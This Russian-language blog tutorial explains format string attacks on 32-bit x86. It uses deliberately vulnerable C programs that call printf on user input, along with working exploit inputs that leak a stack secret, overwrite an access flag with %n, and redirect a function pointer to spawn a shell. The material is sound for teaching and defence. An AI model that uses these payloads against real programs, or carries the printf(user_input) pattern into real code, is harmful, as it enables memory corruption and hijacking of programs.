Pull to refresh

Printf Oriented Programming

Reading time4 min
Views21K


Intro


К своему удивлению не нашел статей на хабре по этой теме и этой статьей я хотел бы исправить положение дел. В ней я постараюсь максимально доходчиво рассказать со стороны атакующего о Format String Attacks, однако с некоторыми упрощениями. На практике они достаточно просто разрешаются, но не очень хочется на них зацикливаться. Кроме того, самых стойких, долиставших до конца, помимо бесценных знаний ждет небольшой бонус.

Зачем это вообще нужно?


Подобно остальным уязвимостям, нужны Format String Attacks для того, чтобы получить неправомерный доступ к программе и делать с ней все, что захочется. Одна из важных особенностей этой уязвимости — безразличие к дополнительным меры защиты вроде w^x и ASLR. И самое главное — она позволяет обойти и относительно новую защиту CFI.

Приступим?


Как мне всегда казалось лучше всего понимать происходящее на примерах, поэтому без лишних слов сразу к коду.

#include <stdio.h>

void f(char *str) {
    char *secret_data = "My Awesome Key";
    printf(str);
}

int main(int argc, char **argv) {
    f(argv[1]);
    return 0;
}

Для тех, кто забыл про printf
Функции printf()-like работают примерно следующим образом:

  • Вывести строку
  • Заменить спец.символы начинающиеся с %
  • Вернуть количество успешно выведенных символов


Что мы можем с этим сделать? Давайте соберем наш код и запустим. Здесь и далее работать будем с x86-32.

$ cc -m32 format_vuln.c -o format_vuln
$ ./format_vuln %d
47

Интересно, откуда же взялось 47? Мы ведь просили вывести "%d". На самом деле функция была написанна на C. Так как перегрузки операторов там нет, то и не знает, сколько ей аргументов было подано, поэтому ориентируется она на первый аргумент, который парсит строку и с каждым % забирает очередной аргумент со стека.

Откуда же все таки 47?
Дело в том, что для производительности значения на стеке не обнуляются. Выделение/освобождение памяти происходит путем уменьшения/увеличения соответствующего указателя на стеке. Так что 47 — просто некоторое произвольное число каких-то побочных вычислений

Немного поигравшись можно получить заветный ключ.

$ ./format_vuln %d.%d.%d.%d.%d.%d.%s
47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key

Почему именно 6 %d?


Давайте посмотрим на дизасемблированный листинг функции f с помощью objdump:

080483fb <f>:
 80483fb:   55                      push   ebp
 80483fc:   89 e5                   mov    ebp,esp
 80483fe:   83 ec 18                sub    esp,0x18
 8048401:   c7 45 f4 d0 84 04 08    mov    DWORD PTR [ebp-0xc],0x80484d0
 8048408:   83 ec 0c                sub    esp,0xc
 804840b:   ff 75 08                push   DWORD PTR [ebp+0x8]
 804840e:   e8 bd fe ff ff          call   80482d0 <printf@plt>
 8048413:   83 c4 10                add    esp,0x10
 8048416:   90                      nop
 8048417:   c9                      leave
 8048418:   c3                      ret

По адресу 0x80484d0 хранится наш ключ и записывается он в стек по адресу ebp-0xc. Наш первый аргумент лежит по адресу ebp+0x8.

По инструкции sub esp,0x** выделяется нужное место на стеке. Причем выделяется явно много лишнего. Это выравнивание данных(padding) и делается это автоматически компиляторами, для производительности.

Итого если посмотреть на стек перед вызовом printf то становится ясно откуда эти 6 %d.



Непопулярные фичи printf


Помимо потенциальной утечки данных printf обладает и другими интересными возможностями.

  • Обращение к n-ому аргументу, например вызов printf("%3$d %1$d %2$d", 1, 2, 3) выведет «3, 1, 2»
  • Определение длины для вывода аргумента, например вызов printf("%.*s", 4, «Hello!») выведет «Hell»
  • Запись в переданный указатель количество успешно выведенных символов c помощью %n

К примеру, имея следующий код:

#include <stdio.h>

int main() {
    int i, j;
    printf("Hello%2$n, world!%1$n\n", &i, &j);
    printf("%d %*d", i, 3, j);
    return 0;
}

получим такой вывод:

$ cc -m32 printfwrite.c -oprintfwrite
$ ./printfwrite
Hello, world!
13   5

Эта функциональнасть открывает новые возможности для эксплуатации. Изменим немного наш старый код и посмотрим, что с ним можно сделать.

#include <stdio.h>
#include <stdlib.h>

void f(char *str, int acc) {
    int *access = &acc;
    printf(str);
    if (*access) {
        puts("Secret information revealed!");
    }
}

int main(int argc, char **argv) {
    char *usr = getenv("USER");
    if(usr==NULL) return EXIT_FAILURE;
    f(argv[1], usr == "kitsu");
    return 0;
}

$ cc -m32 printfacccess.c -m32 -o printfacccess
$ ./printfacccess %d.%d.%d.%d.%d.%d.%n
-4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed!

Но что, если число, которое нам нужно записать очень большое? Например адрес функции. Первое, что приходит в голову подавать строку соответствующих размеров. Скажем, у нас есть адресс шеллкода, а также есть управление над printf, что же нам делать?

#include <stdio.h>
#include <stdlib.h>

typedef void(*fptr)();

void routine() {
    /* do something useful */
    puts("Routine done.");
}

void shell() {
    execve("/bin/bash", 0, 0);
}

void f(char *str, fptr p) {
    fptr ptr = p;
    printf(str);
    ptr();
}

int main(int argc, char **argv) {
    f(argv[1], routine);
    return 0;
}

Интересующий адрес шелла после компиляции — 0x80484d4. Выведем столько раз произвольный символ, а затем перепишем указатель на функцию.

$ cc -m32 printfshell.c -oprintfshell
$ ./printfshell `python -c 'print("0"*0x80484d4 + "%n")'`
bash: ./printfshell: Argument list too long

Увы, башу эта затея пришлась не очень по душе. Но мы можем добиться аналогичного эффекта с помощью уже упомянутой возможности ширины вывода, а после этого аналогично записать количество с помощью %n.

$ ./printfshell `python -c 'print("%1$134513876.0X%7$n")'` >out
$ echo "$$"
$ exit
exit
$ echo "$$"
3899
$ tail -c 4 out 
3920

А теперь давайте подробнее разберемся, что за чудеса здесь произошли. Здесь мы запустили нашу программу и от нее запустился новый инстанс нужного нам шелла.

А что все таки "%1$134513876.0X%7$n" значит?


Он представляет собой два исполняющих символа "%1$134513876.0X" и "%7$n".

%1$134513876.0X — вывод на stdout первого переданного аргумента, с длинной поля 134513876(это и есть адрес нашего шеллкода). Что там выведется значения не имеет, главное — количество символов.

%7$n — выполняет запись в 7 аргумент. Записывает он как раз то количество символов, которое мы вывели, т.е. адрес шеллкода.

В заключении


Как вы уже могли заметить, printf()-like функции обладают колосальной мощью. Более того абсолютной, ибо как оказалось они и еще тьюринг-полные, а значит потенциально могут содержать все, что будет угодно хакеру.

Как? Достигается это достаточно длинными и сложными последовательнотями, с которыми можете поиграться например вот тут. Ребята из usenix сделали компиляцию brainfuck кода в format-string последовательности. В репозитории есть примеры вроде чисел фибоначчи, 99 бутылок пива и много чего еще интересного.
Tags:
Hubs:
+33
Comments10

Articles

Change theme settings